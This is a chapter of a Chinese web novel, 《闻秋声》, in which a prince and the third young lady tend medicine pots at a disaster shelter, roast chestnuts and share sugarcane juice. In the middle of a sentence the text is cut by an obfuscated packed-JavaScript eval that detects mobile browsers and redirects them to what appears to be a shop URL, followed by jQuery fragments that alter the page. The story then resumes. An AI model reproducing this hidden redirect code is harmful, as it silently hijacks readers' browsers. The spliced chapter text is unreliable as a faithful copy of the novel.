54. 板栗
作品:《闻秋声》 “殿下对辨药、煎药整个过程都得心应手,我前几日刚来,手忙脚乱,辨药得去找青橘师傅,煎药得清荷配合,勉强能应付来。”叶秋声将手中的帕子翻转,又举着靠近炉火。
“我在寺里一开始煎药也是磕磕绊绊,药材看过就忘,澄理大师说我在医理上毫无天赋,后来煎药煎得次数多了,时间久了,才勉强能辨认出常用的药材,若是不常用的,一样要去请教青橘。”唐观复来回不停翻转着手心手背。
“这两日送来需要煎服的药包少了许多,灾民们都返乡了吗?陈先生是不是也能轻松些?”叶秋声侧头问唐观复。
“嗯,要春耕了,农户们都惦记着田里,土地虽然还未完全解冻,也要开始做好准备犁田耙地,好些人还未全然康复,不过陈先生还会在收容所待一段时日,若是有人不舒服可以随时来这里就诊。先生看着比年前憔悴了不少,但精神越发好了,指使起青橘也特别有劲。”唐观复笑着调侃陈先生。
“是啊,天意怜惜,所幸风雪没有再继续肆虐,农户们回去既要准备春耕,还要修缮房屋,家畜受惊踩踏也死伤不少,朝廷户部、工部按章程是要协助农户们灾后重建的吧。”叶秋声继续翻转着手中的帕子。
“唉,按照章程是这样,之前灾情紧张有郑侍中力排众议,如今形势和缓下来,心思各异,蠢蠢欲动,不好说。”唐观复叹口气,显然也是知道接下来朝中会冒出各种心思不一的奏折。
“殿下回京这么久,冷眼看着朝廷如此争斗,还依旧只为查清先太子被害真相,坚持韬光养晦吗?”叶秋声冷不丁出言沉声发问。
“百足之虫死而不僵,长公主闭门谢客,康王与赵王借着天灾便开始斗法,我一个毫无根基的皇子,人微言轻,又能掀起什么风浪呢?此时入场,只怕凶多吉少,非我不愿,而是不能,在没有查清真相之前,我得保全王府。”唐观复盯着叶秋声手帕上的水仙花,轻声叹息。
“康王与赵王借着此次灾情,大大积攒了名声,相安无事不会太久的。”叶秋声猜测,眼前的药罐滋滋作响,应是罐中的汤水沸腾了。
唐观复起身揭开盖子,搅拌了已经转为褐色的药汁,虚虚掩上,又矮下身调了调火势,“总归陛下龙体尚且康健,也翻腾不出什么水花。你在此稍候,我去取些东西。”
不一会唐观复就折返回来,左手提着两个软垫,还端着个小簸箕,唐观复将手中更干净些的软垫递给叶秋声,示意她铺在地上坐上去,“这几日辛苦三小姐了,你休息会,我来煎药,”说罢又将簸箕放在叶秋声手中,低头才看清簸箕里是已经翻炒过开了口的板栗,摸着是凉的。
“哪里来的?”叶秋声看着唐观复熟练地添水搅拌,调节火候,手脚麻利,一个人看顾三四个药罐不在话下。
“前两日搬送草药时发现的,应该是青橘藏在里头的,我洗个罐子热一热,条件简陋,三小姐莫要嫌弃。”唐观复说着话,手中的动作很是麻利,清洗了一个铜锅放在空闲的炉火上,待锅中水气渐干,抓了一把板栗放进锅中,间或用筷子翻一翻。
不一会就有板栗的甜香自锅中散发出来,焦香扑鼻,平日里觉着平平无奇的板栗这会格外令人食指大动,直到有些焦糊味后,唐观复才将铜锅自炭火上移下,将里面的板栗倒进簸箕最边缘,褐色的外皮有些焦黑,金黄的内馅冒着热气,又抓了一把凉的板栗放进去,重复之前的动作。
担仔不知道何时凑到两人身边,双手抓着下垂的衣角,两只眼睛眨也不眨地盯着炉火上翻炒的板栗,见叶秋声偏头看他,局促地咽了咽口水,神色有些紧张无措。
伸手探了探方才出锅板栗的温度,看着自己被烫红的指背,叶秋声无奈开口:“担仔是吗,板栗还有些烫,”说着向担仔举起自己被烫红的指背,“再稍等片刻。”
唐观复扭头看了眼叶秋声的手背,愣住了,收容所里数日煎药的活计导致她五指微微干燥,细纹明显,指尖有细小的皮屑翘起,右手手背指背处有些通红,此刻双手左右轻摇着簸箕让板栗快快降温。
摇了一会儿,叶秋声又伸手试探,触手温热,才抓了一把递给担仔,示意他用手接着。
担仔面色纠结,犹豫了一会才捧着双手接过,低声嗫嚅:“多谢小姐,我可以替你煎药。”
“你方才已经帮我送过药了,这是我的谢礼。”叶秋声笑着答复。
担仔偏头想了会,“那小姐你日后需要送药随时喊我。”
“好。”叶秋声爽快应下。
担仔捧着栗子走远,唐观复将锅中的复热的板栗倒进簸箕,才悠悠开口:“三小姐是在哄骗小孩子吗?京中救灾接近尾声,你明日起就不来此处了。”
叶秋声朝担仔的方向看过去,离得远听不到两人说话,才颇为无奈地看向唐观复,反驳道:“只是顺口接过话,不算骗人。”
唐观复笑着坐在叶秋声身侧,伸手取了颗板栗,两指轻轻一捏,已经开了口的板栗壳脱落,小心撕下软皮,金黄浑圆的板栗就出来了,伸手递到叶秋声面前。
“给我的?”叶秋声抬头看向唐观复,目露疑问。
“三小姐数日辛劳,风尘仆仆,之前是我考虑不周,幸得三小姐深明大义,心性坚韧,某惭愧不已,以板栗赔罪,请三小姐宽恕。”唐观复说得一本正经。
叶秋声板起脸,故作严肃:“那你就拿一颗板栗来赔罪?这是板栗呀,还是金子呀?”
唐观复嘴角轻扬,试探着问:“那就一筐?”
双目对视,叶秋声板着的脸维持不住,忍俊不禁,伸手自唐观复掌心拈起板栗,送至唇边,轻咬一口,细细嚼着点点头,咽下后开口:“嗯,尝着是比平日里的味道甜一些,果然经殿下一番妙手后,就连板栗都身价不凡。”
唐观复摇头听着叶秋声的调笑,伸手朝她要了那方水仙花帕子,手上不停歇地将剥好的板栗放在帕子上,帕子上黄蕊白瓣的水仙花衬得金黄的圆滚滚的板栗格外喜人。
吃了七八颗后,抿了口茶水,叶秋声故技重施,轻咳一声:“我现下有些口渴,不知神通广大的殿下能否寻来甘泉醴酪呢?”而后颇有兴致地盯着唐观复的神色。
唐观复闻言剥完手中的板栗,双手互拍去沾到的板栗壳,偏头想了想:“那劳烦三小姐稍等我片刻,我想想法子变个出来。”
叶秋声点点头,目送唐观复朝外院走去,起身将面前炉火上咕嘟着的汤药分别揭开看看,依次搅拌,添水,调火,盯着眼前沸腾不止的汤药,想到方才同唐观复说笑。这几日确实是叶秋声自小未亲身经历过的忙碌辛劳,回家后倒头就睡,低头看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223951|197380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干燥粗糙了些的双手,明明是最轻松的活计,反而切身体会了底层百姓的辛酸,身体尚未痊愈就要拖着病体准备耕种,修缮房屋,冬雪已去,春光将至,总是要向前看的。
约摸一刻钟后,唐观复提着一节竹制水壶回来,叶秋声没想到他真寻到了。
走近后,唐观复故意卖关子,“三小姐猜猜这壶中是何浆饮?”
“那殿下需得先告诉我,这水壶哪里来的?”叶秋声反问。
唐观复神色颇有些不好意思,心虚地摸了摸鼻子,才讪讪开口:“陈先生马车上寻的。”
“药酒?还是紫苏饮子?”叶秋声猜测。
对面唐观复也是摇摇头,“我还未打开,也不清楚。”
二人坐下后,唐观复小心拔出竹筒盖,看了看内里浆饮是淡黄色的,清澈透亮,捧着水壶递到叶秋声面前,叶秋声凑上去用手扇了扇,鼻尖闻到一股清甜甘冽的青草香,笑着开口:“是甘蔗汁。”
唐观复将水壶移到自己面前,也凑上去闻了闻,是股清新的青草香味,点点头,示意叶秋声取杯子。
叶秋声起身将自己杯中的茶水倒掉,又自后院的仓库里取了一盏新的陶土杯,转身去水缸旁清洗,被唐观复拦住,接过她手中的两盏杯子自去清洗。
清洗干净后的杯子质朴粗糙,但二人毫不嫌弃,叶秋声倒了两杯甘蔗汁,举起自己的陶土杯,悬在半空等唐观复,待对面的唐观复举起陶土杯来,叶秋声粲然一笑,移过去轻轻碰了下唐观复的杯盏,“叮”的一声,“我亦谢过殿下诚意相邀”,言罢,浅尝一口甘蔗汁,清甜甘冽。
唐观复自叶秋声粲然一笑后只觉目眩神迷,神思不属,脑中都是叶秋声方才的神色,眉间舒展,眸色清亮,还有嘴角浅浅的酒窝不断浮现,动作僵硬地饮尽杯中甘蔗汁,口齿连带腹中顿时一片清甜。
“陈先生应当在甘蔗汁里加了些微酸饮,不过我尝不出来是什么,殿下呢?”叶秋声又细细抿了一口,回味里面的酸味。
“嗯,啊?我看看药炉,”唐观复放下手中的陶土杯,起身有些忙乱地揭起炉火上还在沸腾的药罐,“嘶……”如同针扎过一样的疼痛传递到脑中,唐观复才反应过来自己直接用左手去揭药罐,当下拇指、食指及中指都有一道明显的红痕。
“没事吧殿下?”叶秋声起身,伸手拿过唐观复的左手,三道明显的红痕在他指尖。唐观复的手掌很大,刚洗过杯子手中还有些微潮湿冰凉的水渍,指根处有薄茧,除了红痕外掌心还有几处明显的划痕。
“小事,一时大意,不要紧的。”唐观复见叶秋声盯着他的掌心,柔声解释:“是前几日搬运草药还有粮食时不小心划到的,过几日也就好了,等下我找陈先生问问有没有治疗烫伤的膏药,你方才也被烫到了,还是涂点膏药稳妥些。”
“我那算什么烫伤,”叶秋声笑着同唐观复开口,“你才取走陈先生的甘蔗汁,又问他要膏药,只怕恼了你了。我休息得差不多了,这几炉换我来守着,你休息会吧。”叶秋声示意唐观复坐回软垫,拿起筷子将面前几罐汤药都细细揭开搅拌了一圈,调了调火候,差不多再一刻钟就好了,转身将裹着板栗肉的帕子也递到唐观复身前,唐观复仰头看了眼叶秋声神色,伸手接过,嘴角扬起,悠哉悠哉地拈起板栗尝起来。

